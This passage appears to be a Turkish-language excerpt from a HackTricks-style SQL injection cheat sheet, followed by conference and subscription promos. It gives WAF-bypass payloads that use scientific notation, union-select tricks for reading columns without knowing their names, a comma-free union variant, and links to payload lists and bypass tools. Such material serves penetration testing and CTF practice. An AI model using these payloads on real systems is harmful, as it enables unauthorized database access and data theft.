WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Bilimsel Gösterim WAF atlatma
Bu hile hakkında daha detaylı bir açıklamayı gosecure blogunda bulabilirsiniz.
Temel olarak, bilimsel gösterimi beklenmedik şekillerde kullanarak WAF'ı atlayabilirsiniz:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Sütun İsimleri Kısıtlamasını Aşma
Öncelikle, orijinal sorgu ve bayrak çıkarmak istediğiniz tablonun aynı miktarda sütuna sahipse, sadece şunu yapabilirsiniz: 0 UNION SELECT * FROM flag
Bir tablonun üçüncü sütununa ismini kullanmadan erişmek mümkündür. Aşağıdaki gibi bir sorgu kullanarak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
, bu nedenle bir sql enjeksiyonunda şu şekilde görünecektir:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Veya bir virgül atlatma kullanarak:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Bu hile https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ adresinden alınmıştır.
WAF bypass öneri araçları
{% embed url="https://github.com/m4ll0k/Atlas" %}
Diğer Kılavuzlar
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force Algılama Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
- Bir siber güvenlik şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Family koleksiyonumuz olan özel NFT'lerimizi keşfedin
- Resmi PEASS & HackTricks ürünlerini alın
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.